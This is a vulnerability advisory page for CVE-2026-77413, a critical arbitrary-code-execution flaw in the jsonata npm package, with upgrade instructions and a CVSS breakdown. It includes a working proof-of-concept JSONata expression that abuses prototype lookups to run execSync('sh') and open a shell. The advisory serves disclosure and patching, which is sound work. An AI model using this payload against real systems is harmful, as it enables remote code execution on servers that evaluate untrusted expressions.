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CVE-2026-77413 — Vulnerability in jsonata — CVE Details

CRITICAL

JSONata: Arbitrary Code Execution via crafted JSONata expressions

Published August 21, 2026Updated August 21, 2026Source: osv

Summary

## Impact Before JSONata `2.2.0` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to a missing `hasOwnProperty` check in the `lookup` function: https://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705 This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the `2.2.0` release, and ported in the `1.8.8` release. ## PoC ```js import jsonata from "jsonata"; const expression = jsonata(` ( __lookupSetter__('__proto__')(constructor); __defineGetter__('l', constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'}).toString()")); valueOf().l ) `); await expression.evaluate({}); ```

Advisory Timeline

  • First published August 21, 2026 (52 days ago).
  • Last revised August 21, 2026 — 0 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

npm
Update jsonata to 2.2.0 or later
npm install jsonata@2.2.0
npm
Update jsonata to 1.8.8 or later
npm install jsonata@1.8.8

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (2)

Affects 1 ecosystem: npm (1).

PackageEcosystemAffectedFixed In
jsonata
npm
All versions2.2.0
jsonata
npm
All versions1.8.8

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

Frequently Asked Questions

What is CVE-2026-77413?
JSONata: Arbitrary Code Execution via crafted JSONata expressions This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2026-77413?
CVE-2026-77413 affects jsonata. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-77413 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.8

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-8gq3-vp5j-2grp

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